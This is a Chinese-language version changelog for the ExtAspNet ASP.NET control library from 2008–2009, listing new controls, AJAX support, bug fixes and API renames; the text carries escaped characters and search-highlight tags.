v2.1.3\n\t+增加支持在AJAX时改变的控件属性列表(\u002Fajax.aspx)。\n\t\t-ExtAspNet支持原生的AJAX,也就是说控件的属性改变在AJAX过程中会反映到页面中,但并不是所有的控件属性都支持AJAX改变。\n\t-加载s.gif图片在本机进行,不会请\u003Cem\u003E求\u003C\u002Fem\u003Eextjs.com远程资源(feedback:efrigate43,abaocoole)。\n\t-在AJAX回发后确保Asp.net的按钮控件仍然具有AJAX的特性。\n\t-更新\u002Fbasic\u002Flogin.aspx示例,使用验证图片(feedback:kedee)。\n\t-为Grid增加AutoPostBack属性和RowClick事件,示例在\u002Fdata\u002Fgrid_autopostback.aspx(feedback:chenguizhu2006)。\n\t-为所有的表单字段增加AJAX属性ReadOnly(feedback:skydb)。\n\t-Grid中TemplateField生成到页面中控件具有唯一ID,例如Grid1_ct5_Label2,Grid1_ct6_Label2(feedback:geruger)。\n\t\n\t\n\n+2009-09-27 v2.1.2\n\t-为Tree控件增加GetExpandAllNodesReference和GetCollapseAllNodesReference\u003Cem\u003E两个\u003C\u002Fem\u003E函数。\n\t-修正RELEASE版本下多语言加载的BUG(feedback:yigehaoren)。\n\t-增加pt_BR语言,由Ujvari提供。\n\t+为所有Panel(包括Grid,Tree,Form等)增加枚举类型Icon,其中包含1700多个小图标。\n\t\t-如果Panel具有IconUrl属性,则IconUrl优先于Icon。\n\t\t-所有Icon的列表在icon.aspx。\n\t-为Button,MenuItem(MenuButton,MenuHyperLink),AccordionLink,TreeNode,Image(如果ImageUrl为空,则取Icon的值)增加Icon属性。\n\t\n\t\n\n+2009-09-15 v2.1.1\n\t-修正不能动态修改AccordionPane属性Items的BUG。\n\t+为Button, MenuButton, LinkButton, LinkButtonField增加ConfirmTarget。\n\t\t-如果需要在父页面弹出确认对话框,需要设置ConfirmTarget=\"_parent\"(类似Window控件的Target=\"_parent\")。\n\t+为ExtAspNet.Alert.Show增加点击确定的JavaScript回调函数。\n\t\t-\u003Cem\u003E一个\u003C\u002Fem\u003E典型应用,在Window控件中打开新页面,如果传递的参数不正确,则首先提示参数不对然后关闭此弹出窗口。\n\t\t-ExtAspNet.Alert.Show(\"参数错误!\", String.Empty, ExtAspNet.ActiveWindow.GetCloseReference());\n\t+TreeNode的前面的多选框可以自动回发了。\n\t\t-为TreeNode增加AutoPostBack属性,增加事件数据类TreeCheckEventArgs,为Tree增加事件NodeCheck。\n\t\t-示例在:http:\u002F\u002Fextasp.net\u002Fdata\u002Ftree_run.aspx\n\t-Grid增加GetNoSelectionAlertInParentReference函数,用来表示没有选中任何一项时在父页面弹出对话框的JS代码。\n\t-修正IE7下不能以下划线作为CSS中类名的前缀的BUG(feedback:Steve.Wei)。\n\t-添加定时器控件Timer,用来定时发起AJAX请\u003Cem\u003E求\u003C\u002Fem\u003E。\n\t\n\t\n\n+2009-09-06 v2.1.0\n\t-Button的Pressed属性值能够正确的反映客户端的变化。\n\t-优化Tree控件的AJAX实现。\n\t+为页面的Form添加autocomplete=\"off\"属性。\n\t\t-参考http:\u002F\u002Fwww.cnblogs.com\u002Fsanshi\u002Farchive\u002F2009\u002F09\u002F04\u002F1560146.html#1635830\n\t+添加对extjs3.0中所有语言的支持。\n\t\t-ExtAspNet扩展的多语言包在js\\languages\\extaspnet目录下,目前只有en,zh_CN,zh_TW三种实现\n\t\t-你可以向其中添加自己的语言版本,并执行js\\languages下的pack.\u003Cem\u003Ebat\u003C\u002Fem\u003E打包,最后编译工程。\n\t\n\t\n\t\n+2009-09-01 v2.0.9\n\t-为ExtAspNet.Alert添加\u003Cem\u003E两个\u003C\u002Fem\u003E静态方法ShowInParent和GetShowInParentReference,用于在父页面弹出窗口。\n\t+在aspx页面中必须显示的声明控件的集合属性(比如Tabs(TabStrip), Items(PanelBase), Nodes(TreeNode))。\n\t\t-这将会影响所有的aspx页面,所以要特别关注。\n\t-重命名AccordionPanel为AccordionPane (这也是在Asp.net AJAX中使用的名称).\n\t+所有的面板默认有\u003Cem\u003E两个\u003C\u002Fem\u003E集合属性(Toolbars和Items).\n\t\t-尽管TabStrip, From, Tree, Accordion继承了Items属性,但是你并不能对其设置(此时Items是只读的).\n\t\t-这将会影响所有的aspx页面,一定要将工具条(Toolbars)和Items区分开来。\n\t-祝你生日快乐 - 小师妹妹。\n\n\n\n+2009-08-29 v2.0.8\n\t-ExtAspNet支持多语言(en,zh_CN,zh_TW),可以在Web.config中修改。\n\t-将所有的示例转化为英语版本。\n\t-修正Tree控件的\u003Cem\u003E一个\u003C\u002Fem\u003EBUG(定义Mappings属性时)。\n\t+PageManager.Instance应该存在于HttpContext.Current,而不是\u003Cem\u003E一个\u003C\u002Fem\u003E全局变量。\n\t -这个BUG导致Asp.net compatibility中的示例无法完成,现在已经修正。\n\t+去除PageManager中方法AddAjaxAspnetControls,增加属性AjaxAspnetControls。\n\t -这个属性和Button得ValidateForms属性类似,可以查看Asp.net compatibility中的示例。\n\t\n\t\n\n+2009-08-25 v2.0.7\n -为按钮增加DisableControlBeforePostBack属性 - 回发之前是否禁用按钮,防止重复提交 - 默认为true。\n -Grid的Values属性访问限制由internal改为public,这就意味这可以自由改变Grid中每个单元格的值了。\n -增加示例-如何将Grid控件导出为Excel(data\\grid_excel_run.aspx)(feedback:503684912)。\n -如果TreeNode的属性Enabled=\"false\",则此项变灰并且不会被选中(feedback:your568)。\n -修正TreeNode的属性NavigateUrl不接受服务器端URL(以~\u002F开头)的BUG。\n -增加Accordion和Tree配合使用的示例(other\\accordion_tree_run.aspx)。\n -修正Panel图标不能显示的BUG(CSS中class名不能有$字符)。\n +去除PageLayout控件,此控件可以使用BorderLayout和指定PageManager的AutoSizePanelID属性来代替。\n\t\t-这样所有需要占据全屏的Panel(不管你是Accordion,Panel,ContentPanel,Form,GroupPanel,SimpleForm,Tree还是Grid,TabStrip)都可以通过这种方式全屏。\n\t\t-简单方便,示例可以参考 default.aspx 或者 other\\accordion_tree_run.aspx。\n \n \n\n+2009-08-14 v2.0.6\n\t-动态生成菜单实例(other\\menu_dynamic_run.aspx和other\\menu_dynamic2_run.aspx)(feedback:shguo)。\n\t-优化AJAX的内部实现,每个页面保存的ViewState现在减少1\u002F3左右(重要更新)。\n\t-优化Tree节点的NodeId自动生成,减少ViewState占用。\n\t\n\n\n+2009-08-09 v2.0 beta5\n\t+ExtAspNet和Asp.net的提交按钮兼容问题(feedback:千帆)。\n\t\t-在2009-03-03 v1.3.0曾经提到这个兼容问题,并有这样的规则,如果Asp.net的按钮AJAX提交,必须设置UseSubmitBehavior=\"false\"\n\t\t--也就是说生成的input的type不能是\"submit\",而这个限制在有些情况下是不可原谅的。\n\t\t--我们做了优化,现在要使\u003Cem\u003E一个\u003C\u002Fem\u003EAsp.net的按钮能够AJAX提交,你不需要做任何设置(PageManager的属性EnableAjax为true即可,这是默认属性)。\n\t+PageManager的实例方法AddAjaxUpdateControl改名为AddAjaxAspnetControls,现在可以在Page_Load中设置需要在AJAX中需要更新的Asp.net控件了。\n\t\t-在Page_Load中设置了哪些需要在AJAX中更新的Asp.net控件会在回发时保持状态,可以通过RemoveAjaxAspnetControls来去除不需要更新的控件。\n\t\t-示例在aspnet\\fckeditor_run.aspx和aspnet\\aspnet_run.aspx。\n\t\t-FCKEditor和上传控件兼容。示例在aspnet\\fileupload_run.aspx。\n\t-修正ToolbarText的文本在AJAX下更新的BUG。\n\t-Button的Pressed属性在AJAX可更新(feedback:mgzhenhong)。\n\t-更新所有示例。在IE7.0,IE8.0,Firefox3.5,Chrome2.0下测试通过。\n\t\n\n\n+2009-08-02 v2.0 beta4\n\t+和Asp.Net的Forms Authentication兼容[feedback:mgzhenhong]。\n\t\t-采用和Asp.Net Ajax类似的处理方式,需要在配置\u003Cem\u003E文件\u003C\u002Fem\u003EWeb.config增加\u003Cem\u003E一个\u003C\u002Fem\u003EhttpModules。\n\t\t-现在支持Response.Redirect,你可以选择Response.Redirect或者ExtAspNet.PageContext.Redirect重定向页面,两者效果一样。\n\t\t-支持FormsAuthentication.RedirectFromLoginPage(accountID, false);这样的方法。\n\t-Button增加Type属性(button,reset,submit)[feedback:mgzhenhong]。\n\t-修正Alert.Show方法不能指定文本前图片的BUG[feedback:xmq&mgzhenhong]。\n\t-修正IE下某些弹出窗口的IFrame第一次不能加载的BUG。\n\t-增加Menu和Accordion的示例。\n\t-修正Window控件的IconUrl有时不显示(Target=\"_parent\")的BUG[feedback:xmq&mgzhenhong]。\n\t\n\n\n+2009-07-22 v2.0 beta3\n\t-兼容FCKEditor。\n\t-在IE8.0,Firefox3.5下测试通过。以后ExtAspNet将不会对IE6.0提供支持。\n\t\n\n\n+2009-07-13 v2.0 beta2\n\t-集成extjs最新版本v3.0。\n\t+兼容IE6.0-7.0-8.0。\n\t\t-这应该是Extjs3.0的\u003Cem\u003E一个\u003C\u002Fem\u003EBUG,在IE6.0-7.0下面设置Ext.QuickTips.init();会导致button的click事件无法响应(IE8下无此问题)。\n\t\t-目前先禁用IE6.0-7.0的QuickTips。\n\t-优化底层JavaScript。\n\t\n\t\n\t\n+2009-07-05 v2.0 beta1\n\t-更新extjs库到最新版本v3.0 RC2; 目前只有\u003Cem\u003E一个\u003C\u002Fem\u003E缺省皮肤(Theme)。\n\t-使用YUI Compressor压缩JavaScript和CSS\u003Cem\u003E文件\u003C\u002Fem\u003E。\n\t-Release版本每个页面只包含\u003Cem\u003E一个\u003C\u002Fem\u003EJavaScript\u003Cem\u003E文件\u003C\u002Fem\u003E(语言\u003Cem\u003E文件\u003C\u002Fem\u003E除外)和\u003Cem\u003E一个\u003C\u002Fem\u003ECSS\u003Cem\u003E文件\u003C\u002Fem\u003E。\n\t-ExtAspNet自身的CSS会紧挨着页面\u003Ctitle\u003E标签引入,这样在\u003Chead\u003E中自定义的样式可以覆盖ExtAspNet缺省样式。\n\t+Alert对话框会遮挡所有的Window窗口。\n\t\t-使用\u003Cem\u003E一个\u003C\u002Fem\u003E变通的方法解决,因为无法改变Ext.Message的默认z-index(9000)所以将box.window_default_group的zseed调整为6000。\t\n\t-为所有按钮的左右增加5px的空白边距:.x-btn button { margin: 0 5px !important; }。\n\t-因为下拉列表不可编辑,所以不能为空,如果不设置SelectedIndex或SelectedValue,则默认选中第一项。\n\t-重新绑定模拟树的下拉列表后,选中项的前面有图片的HTML标签的BUG。\n\t-更新自定义JavaScript组件Ext.ux.SimplePagingToolbar。\n\t-更新示例工程。\n\t\n\t\n\n+2009-03-25 v1.3.1\n\t-Tree在AJAX回发展开节点时JS错误[feedback:xlli]。[fixed]\n\t-Window中的EnableIFrame==false,则点击关闭按钮时报JS错误。[fixed]\n\t-页面包含FileUpload控件,需要点击按钮回发并上传\u003Cem\u003E文件\u003C\u002Fem\u003E,则不能采用原生AJAX方式。(参见示例aspnet\u002Ffileupload.aspx)[fixed]\n\t-HtmlEditor显示隐藏工具栏按钮不起作用,HtmlEditor目前不支持Enabled和Readonly\u003Cem\u003E两个\u003C\u002Fem\u003E属性。[fixed]\n\t\n\t\n\n+2009-03-03 v1.3.0\n\t-如果弹出的窗口(Ext-Window)含有ASP.NET控件FileUpload,则此弹出窗口在关闭时出现JS错误(http:\u002F\u002Fextjs.com\u002Fforum\u002Fshowthread.php?t=8129)[feedback:xlli]。[fixed]\n\t-如果页面中存在ASP.NET控件(TextBox),则第二次提交表单就会报错(视图状态不对,其实时没有更新EventValidation隐藏字段导致的问题)。[fixed]\n\t-页面上放置ExtAspNet-Button和ASP.NET-Button,则点击ExtAspNet-Button时激发的是ASP.NET-Button的事件,这个BUG和Extjs2.2.1中Ext.Ajax.serializeForm的实现有关。[fixed]\n\t-ExtAspNet内部包含HtmlAgilityPack和Nii.JSON\u003Cem\u003E两个\u003C\u002Fem\u003E开源的第三方类库。[added]\n\t+如果以前你听过不要在ExtAspNet工程中使用ASP.NET标准控件的忠告,那么从v1.3.0版本开始,你可以忘掉这个说法,现在ExtAspNet控件和ASP.NET标准控件和平共处了。[fixed]\n\t\t-如果\u003Cem\u003E一个\u003C\u002Fem\u003EASP.NET按钮控件要使用ExtAspNet的原生AJAX,只需要设置属性 UseSubmitBehavior=\"false\" 即可。\n\t\t-如果要在一次ExtAspNet的原生AJAX回发时更新ASP.NET控件的值,只需要调用PageManager的公共方法AddAjaxUpdateControl即可(示例:aspnet\u002Faspnet.aspx)。\n\n\n\n+2009-02-27 v1.2 beta9\n\t-网络连接出错时的“Ajax Error”改成更加友好的提示信息“本次连接失败!可能是网络连接出错,请刷新页面重试。”。[fixed]\n\t-自动测试功能会在以后版本中逐步完善。这个版本完成测试框架,采用Extjs中JS函数进行大部分的测试,对于一些难以测试的地方借助jQuery完成。[fixed]\n\t+系统底层代码优化(主要是Javascript的封装和BUG修复)。[fixed]\n\t\t-底层使用Javascript创建\u003Cem\u003E一个\u003C\u002Fem\u003EWindow控件的代码由原来的2000字符减少为500个字符。\t\n\t\t-PageContext静态类中的GetPageStateChangedFunction改名为GetConfirmFormModifiedReference,底层代码优化。表示“获取当前页面中表单修改的确认提示框的脚本”。\n\t\t---[updated]\u003Cem\u003E删除\u003C\u002Fem\u003EPageContext中的GetConfirmFormModifiedReference,使用CurrentActiveWindow中的GetConfirmFormModifiedCloseReference\u002FGetConfirmFormModifiedCloseRefreshReference\u002FGetConfirmFormModifiedClosePostBackReference三个方法代替。\n\t\t-不会修改弹出页面的URL(Ext-Window中的IFrame),以前为了实现功能为每个弹出页面添加box_parent_client_id查询字符串\n\t\t-去除PageManager的RegisterPageStateChangedScript属性,现在已经将这个功能实现为静态的JS方法。可以通过PageContext.GetFormModifiedConfirmReference获取此方法的客户端脚本。\n\t\t---注意:以前的项目需要在所有的ASPX页面中查找RegisterPageStateChangedScript属性,并\u003Cem\u003E删除\u003C\u002Fem\u003E,否则会运行错误!\n\t\t-A页面有Ext-Window控件弹出B页面,B页面有Ext-Window控件弹出C页面,B页面的Ext-Window控件设置Target='_parent',则弹出的Ext-Window(C页面)会覆盖整个A页面,这是正确的。\n\t\t---当时如果用户直接访问B页面,就会报JS错误,因为此时找不到B页面的父页面A了。现在的版本修正为如果找不到父页面,则就在当前页面弹出窗口,这样用户直接访问B页面也不会出错了。\n\t\t-Window控件的GetIFramePageStateChangedFunction函数改名为GetConfirmFormModifiedCloseReference,表示“获取先确认IFrame的页面中表单改变,然后关闭弹出窗口的客户端脚本”。\n\t\t---为Window控件增加如下\u003Cem\u003E两个\u003C\u002Fem\u003E方法GetConfirmFormModifiedCloseRefreshReference和GetConfirmFormModifiedClosePostBackReference,表示“先确认表单改变,然后关闭弹出Ext-Window,再然后刷新父页面或回发父页面”。\n\t\t---Window控件的OnClientCloseButtonClick属性如果不设置,则默认采用GetConfirmFormModifiedCloseReference,也即是先判断表单是否更新,然后在关闭窗口。\n\t\t---现在可以很方便的为Window控件的关闭按钮添加关闭后刷新父页面或者关闭后回发父页面的行为。\n\t\t-如果弹出窗口(Window控件)中IFrame的页面不能正常加载(网络暂时出错或页面抛出异常),则此时点击右上角的关闭按钮会报JS错误,因为此时页面尚未加载完毕。\n\t\t---此版本修正了这个BUG,即时页面不能加载完全,也能通过右上角的关闭按钮关闭弹出含IFrame的窗体。\n\t\t-Window控件的IFrameName属性是自动生成的,只读属性。(因为有可能所有的Ext-Window最终都渲染到最外层的页面,为了保证这些IFrame的name不同,IFrameName使用的是GUID,内部处理)。\n\t\t-CurrentActiveWindow改名为ActiveWindow。\n\t\t-[特别注意]GetWriteBackValueReference(string controlClientIds, string value, params string[] values)函数现在的定义是GetWriteBackValueReference(params string[] values)\n\t\t---所有调用GetWriteBackValueReference的地方,需要\u003Cem\u003E删除\u003C\u002Fem\u003E第\u003Cem\u003E一个\u003C\u002Fem\u003E参数(一般是ActiveWindow.GetLoadStateReference())。\n\t\t\n\t\n\n+2009-02-23 v1.2 beta8\n\t-ContentPanel中内容不能自动扩展高度的BUG[feedback:huihuang]。[fixed]\n\t-DropDownList在Ajax回发时不能计算模拟树的数据[feedback:huihuang]。[fixed]\n\t-DropDownList在页面第一次加载时没有不可选择项,则回发时也不会有不可选择项的BUG。[fixed]\n\t-升级底层ExtJS类库为v2.2.1(此版本主要是Chrome的支持和部分内存泄漏问题的修正)。[fixed]\n\t-页面加载过程中的时间信息保存在Javascript变量window.box.timeInfo中。[added]\n\t+增加部分自动测试支持(使用WatiN和NUnit),下个版本将会提供完整的自动测试支持。[fixed]\n\t\n\t\n\n+2008-10-28 v1.2 beta7\n\t-DropDownList没有选中任何一项,回发时报错[feedback:huihuang]。[fixed]\n\t-Window显示位置不对,以及不能拖动的BUG[feedback:huihuang]。[fixed]\n\t+PageContext优化。[fixed]\n\t\t-去除RegisterExclusiveScript静态函数(这是没有原生ajax之前的产物),使用RegisterStartupScript替代。\n\t\t-去除RegisterStartupScript的重载函数,只保留最简单的PageContext.RegisterStartupScript(string script)函数。\n\t\t-Resirect增加重载函数Redirect(string url, string target),其中target可能的取值为_self,_parent,_top,分别表示在当前窗口,父窗口,顶级窗口重定向[feedback:jqpeng]。\n\t-Image控件增加ImageWidth\u002FImageHeight\u002FImageCssStyle\u002FImageCssClass\u002FImageAlt属性[feedback:jqpeng]。[fixed]\n\t-发布包中增加\u003Cem\u003E一个\u003C\u002Fem\u003EWeb.config.txt,这是\u003Cem\u003E一个\u003C\u002Fem\u003E空的Web.config\u003Cem\u003E文件\u003C\u002Fem\u003E,包含BOX基本的配置信息。[fixed]\n\t-ContentPanel的ShowHeader和ShowBorder属性默认也是true(注意更新以前的应用)。[fixed]\n\t-Row和Column布局时,修正IE下设置RowHeight=\"100%\"时显示不正确的BUG。[fixed]\n\t-AccordionLink当鼠标移上和移开时,有背景色的变化效果[feedback:huihuang]。[fixed]\n\t+TabStrip的Tab控件的EnablePostBack属性会在回发时保持(也即是说如果EnablePostBack=true,回发时没改变EnablePostBack的值,则每次切换到此Tab都会回发)。[fixed]\n\t\t-有这样\u003Cem\u003E一个\u003C\u002Fem\u003E效果,如果Tab1默认显示,Tab1的EnablePostBack=true,则页面加载完毕后会回发Tab1一次。\n\t\n\t\n\n+2008-10-20 v1.2 beta6\n\t+使用控件的站点必须建立虚拟目录,否则会报JS错误(即是脚本资源没有加载),却原来是HTTPCompress组件的问题。[fixed]\n\t\t-需要替换新的blowery.Web.HttpCompress.dll,解决方案见http:\u002F\u002Fpohee.com\u002Fit\u002Fhttp-compression-in-aspnet-20\u002F。\n\t+DropDownList优化。[fixed]\n\t\t-去除EnableFirstItem\u002FFirstItemText\u002FFirstItemValue,这个并不能带来很大的好处,反而容易让开发人员困惑。\n\t\t 现在可以方便的在后台DropDownList1.Items.Insert(0, new ExtAspNet.ListItem(\"全部\", \"-1\"));来达到同样的效果。\n\t\t+如果某项(ListItem)的Value为空字符串,则通过SelectedIndex和SelectedValue不能选中[feedback:jqpeng]。\n\t\t\t-和Asp.net中的保持一致,ListItem的Value值可以为空字符串。 也就是可以这样写DropDownList1.SelectedValue = \"\";\n\t\t-ListItemCollection增加重载函数Add(string text, string value),这样方便后台添加列表项。\n\t-处于布局内的容器控件(Layout!=LayoutType.Container),AutoHeight会自动设置为false(避免开发人员发生此类错误)。[fixed]\n\t-注意,控件的高度指的是整个控件的高度,包含BodyPadding(这和CSS中的height不同,CSS中的height是指内容的高度,除去padding\u002Fborder-width\u002Fmargin)。[fixed]\n\t+为所有控件属性增加在VS中的智能提示。[fixed]\n\t\t-需要将ExtAspNet.XML和ExtAspNet.dll放在一起,这样引用dll时xml会被拷贝到bin目录下,提供VS的智能提示。\n\t+控件的属性如果是枚举类型,如果此属性可以不取值,则默认为None。[fixed]\n\t\t-TriggerIconType.Default -\u003E TriggerIconType.None\n\t\t-SystemIconType.Empty -\u003E SystemIconType.None\n\t\t-RegexPattern.USER_DEFINED -\u003E RegexPattern.None\n\t-表单验证属性名称变化(ValueToCompare-\u003ECompareValue,ControlToCompare-\u003ECompareControl)。[fixed]\n\t+注意:\u003Cem\u003E一个\u003C\u002Fem\u003E属性可以拥有多个值的情况。[fixed]\n\t\t-属性和CSS相关则用空格分隔(比如ColumnWidths,BodyPadding)。\n\t\t-其他的都是逗号分隔(比如ValidateForms,DataKeyNames,DataNavigateUrlFields)。\n\t+AccordionLink实现为控件。[fixed]\n\t\t-可以方便的在子页面(iframe)中通过js切换父页面中选中的菜单项(Accordion-\u003EAccordionLink)(示例在other\u002Faccordion_links_run.aspx,other\u002Faccordion_links_run_iframe_htm)[feedback:jima]。\n\t+确认:可以方便的动态添加控件,并且可以给控件添加服务器端事件(示例在form\u002Fform_dynamic_run.aspx)。[fixed]\n\t\n\t\n\t\n+2008-10-15 v1.2 beta5\n\t-验证表单字段的ValueToCompare属性,为字符串时会出错的BUG。[fixed]\n\t+优化下拉列表。[fixed]\n\t\t-验证下拉列表时,应该取ListItem的Value属性进行验证,而不是Text属性。\n\t\t-DropDownList的Items增加Insert方法(可方便的下拉列表选项添加“全部”)。\n\t\t-DropDownList不支持EmptyText属性。\n\t\t-ListItem启用EnableSelect和SimulateTreeLevel属性,这样就可以直接在前台(ASPX)中设置哪些项不可选择,以及创建模拟下拉树。\n\t\t-DropDownList增加EnableSimulateTree属性(默认为false),如果设置了DataSimulateTreeLevelField,则自动将EnableSimulateTree设置为true。\n\t\n\t\n\n+2008-09-27 v1.2 beta4\n\t+EnableLargeHeader属性对所有容器的效果一样,Accordion的属性EnableLargeHeader只会改变Accordion的标题大小,而不会对AccordionPanel起作用(示例见other\u002Faccordion_run.aspx)。[fixed]\n\t\t-Accordion去除EnableHightlight属性,AccordionPanel增加EnableHightlight属性。\n\t\t-影响以前使用Box的应用,需要将Accordion的属性去掉,然后为每个AccordionPanel增加EnableLargeHeader和EnableHightlight属性。\n\t-AccordionPanel鼠标移上去的样式调整(现在没有下面的一条白线了)。[fixed]\n\t+AccordionPanel增加Links属性,可以绑定列表数据到AccordionPanel,呈现的是链接的列表(示例在other\u002Faccordion_links_run.aspx)。[fixed]\n\t\t-原来放置在AccordionPanel中的容器,比如ContentPanel需要在外层加上\u003CItems\u003E标签。\n\t\t-适当增大AccordionPanel中链接的高度20px-\u003E22px,同时对链接的样式也做了微调。\n\t\t-通过BodyPadding控制链接列表的边距。\n\t\t-这样能大大减少ASPX中HTML代码和Javascript代码的书写,可以在后台动态添加链接,效果很赞,此需\u003Cem\u003E求\u003C\u002Fem\u003E由马季提出。\n\t\n\t\n\t\n+2008-09-25 v1.2 beta3\n\t+代码优化与设计时支持(尚需要不断完善,目前可以在ASPX页切换到“设计时”,方便属性的更改和事件处理函数的添加)。[fixed]\n\t\t-Panel\u002FGroupPanel\u002FContentPanel\u002FTree\u002FHiddenField\u002FPageLoading\n\t\t-TabStrip\u002FToolbar\n\t-TabStrip去除Plain属性,增加EnableTitleBackgroundColor(默认为true)。[fixed]\n\t-向Form中动态添加控件的BUG,现在form\u002Fform_dynamic_run.aspx示例已经能正确运行。[fixed]\n\t+大部分容器的子控件集合更正为Items(以前有些是Rows)。[fixed]\n\t\t-影响的控件包括Toolbar\u002FAccordion\u002FAccordionPanel\u002FGroupPanel\u002FPanel\u002FSimpleForm\u002FWindow等。\n\t\t-保留Form的Rows(FormRowCollection)属性和Grid的Rows属性(GridRowCollection)。\n\t\t-保留TabStrip的Tabs(TabCollection)属性。\n\t\t-保留PageLayout\u002FBorderLayout的Regions(RegionCollection)属性。\n\t-预祝今晚神七发射成功。\n\t\n\t\n\t\n+2008-09-22 v1.2 beta2\n\t+Grid选中项(SelectedRowIndexArray)在ajax回发过程中存在BUG [feedback:xmzhu]。[fixed]\n\t\t-表现为对Grid进行多次\u003Cem\u003E删除\u003C\u002Fem\u003E添加操作后,SelectedRowIndexArray选中项中会存在当前不存在的行序号,导致服务器端遍历选中项时数组越界。所有使用box控件的应用程序都受到此BUG的影响,需尽快更新到新版本。\n\t+代码优化与设计时支持(示例中表单控件都已支持设计)。[fixed]\n\t\t-PageManager\u002FSimpleForm\u002FButton\u002FHyperLink\u002FLabel\u002FImage\u002FLinkButton\u002FTextBox\n\t\t-TriggerBox\u002FTwinTriggerBox\u002FWindow\u002FTextArea\u002FHtmlEditor\u002FDatePicker\u002FNumberBox\n\t\t-CheckBox\u002FRadioButton\u002FRadioButtonList\u002FDropDownList\n\t\t-Grid\n\n\n\n+2008-09-19 v1.2 beta1\n\t-Image\u002FLinkButton\u002FHyperLink增加一些Ajax可更新属性。[fixed]\n\t+隐藏的方式由HideMode属性控制Visibility\u002FOffsets\u002FDisplay。[fixed]\n\t\t-修正Form\u002FSimpleForm中隐藏\u003Cem\u003E一个\u003C\u002Fem\u003E表单字段(Hidden=false)会占据页面空间的BUG。\n\t-ToolbarText\u002FToolbarFill\u002FToolbarSeparator在ASPX中设置Hidden=true不起作用的BUG [feedback:jbzhang]。[fixed]\n\t-Button去除MarginRight属性(可以通过CssStyle=\"margin-right:5px;\"达到相同的效果)[fixed]\n\t\n\t\n\t\n+2008-09-09 v1.1\n\t+Toolbar去除IsPageMenu属性,在网报中可以用自定义样式实现,而不应该写在控件中。[fixed]\n\t\t-网报:CssClass=\"toolbar-pagemenu\" CssStyle=\"border:0px;\",同时定义样式:.toolbar-pagemenu{ background: rgb(208, 222, 240) url(..\u002Fimages\u002Fpagemenu_toolbar_background.gif) repeat-x left top;}。\n\t-Region去除默认的Layout=Fit,如果希望Region使用Fit\u002FAnchor\u002FColumn\u002FRow等布局的话,需要手工指定。[fixed]\n\t-ToolbarSeparator\u002FToolbarFill在Ajax更新Hidden属性的BUG。[fixed]\n\t+布局整理。[fixed]\n\t\t-新增Column\u002FAbsolute\u002FRow三种布局,加上以前的Container\u002FFit\u002FAnchor\u002FAccordion\u002FBorder\u002FForm六种布局,总共有9中布局可供使用。\n\t\t-其中一些控件默认使用一种布局:SimpleForm(Form)\u002FForm(Form)\u002FPanel-GroupPanel(Container)\u002FAccordion(Accordion)\u002FPageLayout(Border)\u002FBorderLayout(Border)\u002FTabStrip(Card),所有布局控件默认的布局是Container。\n\t\t-经常用到的布局控件:SimpleForm\u002FForm\u002FAccordion\u002FTabStrip\u002FBorderLayout,经常用到的布局:Fit\u002FRow\u002FAnchor\n\t\n\t\n\t\n+2008-09-08 v1.1 beta7\n\t-MenuButton\u002FMenuHyperLink增加HideOnClick属性,如果\u003Cem\u003E一个\u003C\u002Fem\u003E菜单项的作用仅仅为了弹出下级菜单,点击没反应,则可以这样设置HideOnClick=\"false\" CssStyle=\"cursor:default;\" [feedback:huayu]。[fixed]\n\t-MenuButton\u002FMenuHyperLink\u002FMenuSeparator\u002FMenuText增加Hidden属性(此属性是Ajax可更新属性,如果需要在Ajax时显示隐藏菜单,请使用此属性而不是Visible属性)。[fixed]\n\t+大部分的ExtAspNet控件增加Hidden属性(少数几个控件没有此属性:Menu),这样在Ajax时可以显示隐藏控件。[fixed]\n\t\t-注意Visible和Hidden的区别:Visible=false的属性不会渲染到客户端,Hidden=true的控件渲染到客户端但是隐藏。\n\t\t-US的ExtAspNet改造强烈依赖于此属性,这个版本发布后可以继续。\n\t\t-网报中唯一没有用到ExtAspNetAjax的地方就是显示隐藏表单字段,现在也可以使用Ajax了。\n\n\n\n+2008-09-04 v1.1 beta6\n\t-PageContext.Redirect支持普通页面转向和ExtAspNetAjax下页面转向。[fixed]\n\t+模拟树的下拉列表的BUG(会使一些可选项变成不可选项)[feedback:xmzhu]。[fixed]\n\t\t-因为if(\"0,2,9,11,\".indexOf('1,')\u003E=0){ok},这显然是不对的,此BUG涉及很多控件(Grid,DropDownList,TabStrip)。\n\t\t-解决方法:testValue += '';if(domValue.split(',').indexOf(testValue) \u003E= 0){ok}。\n\t-DropDownList在Ajax时应该先更新数据再设置选定项 [feedback:xmzhu]。[fixed]\n\t-Button\u002FMenuButton增加Ajax可更新属性OnClientClick [feedback:xmzhu]。[fixed]\n\t-Tree的Ajax支持(尚需优化)。[fixed]\n\t\n\t\n\n+2008-09-02 v1.1 beta5\n\t-DropDownList如果第一次没有绑定值,应该绑定到[[]](二维数组),而不是[](一维数组)。[fixed]\n\t-模拟树的DropDownList,在Ajax重新绑定DataSource后,保持项是否可选状态是最新的(页面第一次加载时,即使没有数据也需要设置DataTextField\u002FDataValueField\u002FDataSimulateTreeLevelField\u002FDataEnableSelectField等属性的值,否则Ajax回发时会出错)。[fixed]\n\t-UserControlConnector导致的Ajax错误,去除UpdatePanelConnector控件(以后不会用AspnetAjax,这个控件已经完成使命)。[fixed]\n\t-不要使用Asp.net的控件HiddenField,而是使用ExtAspNet的HiddenField,因为Asp.net的控件在Ajax不会被更新,所以会导致视图状态不一致的错误。[fixed]\n\t-网报Ajax整合基本完成(除了待审批-\u003E下一步[审核\u002F归档\u002F出纳]操作,由于需要显示隐藏表单字段,目前Ajax不支持,使用的还是普通的PostBack)。[fixed]\n\t-IE下,RadioButtonList中项如果存在汉字,则会换行的BUG。[fixed]\n\t-增加\u003Cem\u003E两个\u003C\u002Fem\u003ETheme[Slate\u002FBlack](样式尚需完善)。[fixed]\n\t\n\t\n\t\n+2008-09-01 v1.1 